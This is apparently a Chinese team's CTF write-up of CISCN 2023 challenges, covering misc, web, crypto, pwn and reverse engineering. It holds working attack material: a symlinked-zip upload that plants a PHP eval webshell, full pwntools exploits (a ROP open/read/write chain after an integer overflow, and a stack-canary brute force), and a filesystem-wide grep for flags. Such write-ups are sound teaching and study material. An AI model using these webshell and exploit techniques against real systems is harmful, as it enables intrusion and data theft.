前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2023年ciscn题解

2023年ciscn题解

作者头像
十二惊惶
发布2024-02-28 21:11:18
1220
发布2024-02-28 21:11:18
举报

DebuGGerrr 战队WRITEUP

一、战队信息

战队名称: DebuGGerrr

战队排名:261

二、解题情况

[TOC]

三、解题过程

杂项:

签到卡:

随便输入得到hint,关注公众号,得到他的提示,输入 print(open(‘/flag’).read())得到flag

国粹:

在最初的思路里是一位题目是一个形如E(x)=(ax+b)(modm)的类仿射密码

后面试着要不把这些画出来看下,在写了几串之后看到了flag….然后因为分工,两个人写点坐标的格式不一样,最终Python代码如下…..

代码语言:javascript
复制
import matplotlib.pyplot as plt
import pandas as pd

#读入文件
file_path = "data.txt"
df = pd.read_table(file_path, header=None)

#定义 x  y变量
x = []
y = []
#定义颜色变量
color = ['c', 'b', 'g', 'r', 'm', 'y', 'k', 'w']

xx = [1,1,1,1,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,10,10,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,18,18,18,18,18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,20,20,22,22,22,22,22,22,22,22,22,22,22,22,23,23,23,23,23,23,23,23,23,23,23,23,23]
yy = [4,5,10,30,3,4,5,6,10,29,30,3,4,10,16,17,22,23,24,25,29,30,2,3,4,5,10,15,16,18,21,22,24,25,29,30,3,4,10,15,17,18,19,21,22,25,28,29,3,4,10,15,16,18,19,21,22,25,29,3,4,10,11,12,13,15,18,19,22,23,24,25,29,30,3,4,11,12,15,16,17,18,19,20,25,29,30,21,22,24,25,30,31,23,24,22,23,24,25,2,3,4,5,9,10,11,12,16,17,18,19,24,25,2,5,6,9,12,19,23,24,5,9,12,18,19,22,23,4,5,9,12,17,18,23,24,3,4,9,12,16,17,24,25,3,9,12,16,25,3,4,5,6,9,10,11,12,16,17,18,19,21,22,23,24,25,10,11,3,4,5,6,10,11,12,17,18,19,24,25,3,6,7,9,10,16,17,19,20,22,23,24,25]

#用for循环将文件中的值赋值给x,y
for i in range(len(df[0])):
    x.append(int(df[0][i].split(',')[0]))
    y.append(int(df[0][i].split(',')[1]))

for i in range(len(xx)):
    x.append(xx[i])
    y.append(yy[i])
#画图
plt.scatter(x, y, c=color[1], edgecolors='r')
plt.show()

flag{202305012359}

被加密的生产流量:

追踪流发现base编码

base32编码,解码得到flag

flag{c1f_fi1g_1000}

pyshell:

本题为python的shell终端,拼接读取flag的字符串后用eval()进行执行,即可获得flag

flag{2c9b76d6-8379-4dd8-a95a-a383420575f5}

web

unzip:

建立软连接实现,

参考博客:https://forum.butian.net/share/906

先建立软连接

代码语言:javascript
复制
ln -s /var/www/html test
代码语言:javascript
复制
zip --symlinks test.zip ./*

创建 test文件

代码语言:javascript
复制
mkdir test

cd 进去创建cmd.php

代码语言:javascript
复制
vim cmd.php

往里面写入一句话木马

代码语言:javascript
复制
<?php @eval($_POST['shell']);?>

退回上级目录,压缩test文件夹

代码语言:javascript
复制
zip -r test1.zip ./*

先上传test.zip 后上传test1.zip,然后直接蚁剑连上

代码语言:javascript
复制
http://eci-2ze4nvw7kl74qmeixz3h.cloudeci1.ichunqiu.com/cmd.php

找到flag即可

dumpit

对/flag下所有提供的参数进行测试,发现提供的第二个参数可以到日志

过滤了post和get,不能直接将木马写入参数中执行

这里采用echo重定向的方式,将待执行的命令写入到User-Agent中,并重定向到/app/log/a.php中

访问/log/a.php发现可以成功执行

最后在env环境变量中找到flag

flag{290a8dfa-4d33-4ae2-a781-ef17e464d0bc}

Crypto

Sign_in_passwd:

是一道Base64换表题目,使用CyberChef的Base64转码功能,可以自定义Base64表格,输入需要转码的字符串,即可得flag ,题目给的表中有部分经过url编码,解码后便可以正常实现

基于国密SM2算法的密钥密文分发:

非预期解,在登录获取id并且发送完公钥后,通过quantum获取服务器端密钥的密文后,search查看发现服务器端存在密钥的明文,即quantumStringServer,发送该明文进行check获取flag。

p9LeEZj.png
p9LeEZj.png

flag{fe362b36-56e5-4b6c-a5cc-12d3e755ce0}

可信度量:

非预期解,通过命令全局搜索flag字符串。

代码语言:javascript
复制
grep -ra "flag{" / 

![img](file:///C:\Users\86198\Documents\Tencent Files\1766871892\Image\C2C\OYUNA5G0`(OO)VX%3$@P947.png)

Pwn

烧烤摊儿:

首先,分析vip函数,发现无符号整数存在整数溢出,因此考虑输入-1000000使余额溢出到大于100000。

![img](file:///C:\Users\86198\Documents\Tencent Files\1766871892\Image\C2C]I{EODH[FQ1S]6X$Y}L0N8Y.png)

之后买下该店后通过栈溢出劫持程序执行流,因为本题禁止了execve的系统调用,因此考虑orw读取flag。只需要控制栈溢出后分别执行open,read,write三个函数。

完整exp:

代码语言:javascript
复制
from pwn import *

#io = process("./shaokao")
io = remote("")

name_addr = 0x4E60F0
open_addr = 0x457C90
read_addr = 0x457DC0
write_addr = 0x457E60

pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
pop_rdx_rbx = 0x4a404b

io.sendline('1')
io.sendline('1')
#integer overflow
io.sendline('-1000000')
io.sendline('4')
io.sendline('5')

#rop orw
payload = p64(pop_rdi_ret) + p64(name_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx) + p64(0x200) + p64(0) + p64(read_addr)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx) + p64(0x200) + p64(0) + p64(write_addr)

io.sendline(b'./flag\x00\x00' + b'a' * (0x16 + 8) + payload)

io.interactive()
funcanary:()

简单栈溢出,只不过在栈上放了canary,分析发现存在后门函数backdoor,同时main函数是while(1)循环,这就使得我们输入canary失败时仍然能回到main函数,因此可以通过爆破泄露出canary的内容(8位canary,爆破七次)。程序开启了pie,因此需要爆破后门函数的地址,发现后三位不变,爆破倒数第四位。

exp:

代码语言:javascript
复制
from pwn import *

io = process('./funcanary')
# io = remote('', '')
elf = ELF('./pwn123')

io.recvuntil(b'welcome\n')
canary = b'\x00'

for m in range(7):
    for i in range(256):
        payload = b'a'*0x68 + canary + p8(i)

        io.send(payload)
        msg = io.recvuntil(b'welcome\n')

        #输入了正确的canary,返回
        if b'have fun' in msg:
            canary += p8(i)
            break

backdoor = 0x1229

for k in range(0x10):
    addr = k * 16 + 2
    payload = b'a' * 0x68 + canary + b'a' * 8 + b'\x31' + p8(addr)
    io.send(payload)

    msg = io.recvline()

    if b'flag{' in msg:
        print(msg)
        io.interactive()

re

babyRE:

下载文件之后发现是Snap的程序,找到他的官网https://snap.berkeley.edu/snap/snap.html#在线导入文件,发现有些变量和函数命名不规范,将其规范化,发现

此为初始化函数,相当于初始化数组,后发现

将输入的字符第一个与前一个进行^ 操作,第二个与第一个进行^ 以此类推.

编写脚本:

代码语言:javascript
复制
list = [10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
str1 = 'f'
for j in list:
    for i in range(32, 127):
        if i ^ ord(str1[-1]) == j:
            str1 = str1 + chr(i)
            print(str1)
            break
print(str1)

得到flag

flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-05-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • DebuGGerrr 战队WRITEUP
    • 一、战队信息
      • 二、解题情况
        • 三、解题过程
          • 杂项:
          • web
          • Crypto
          • Pwn
          • re
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档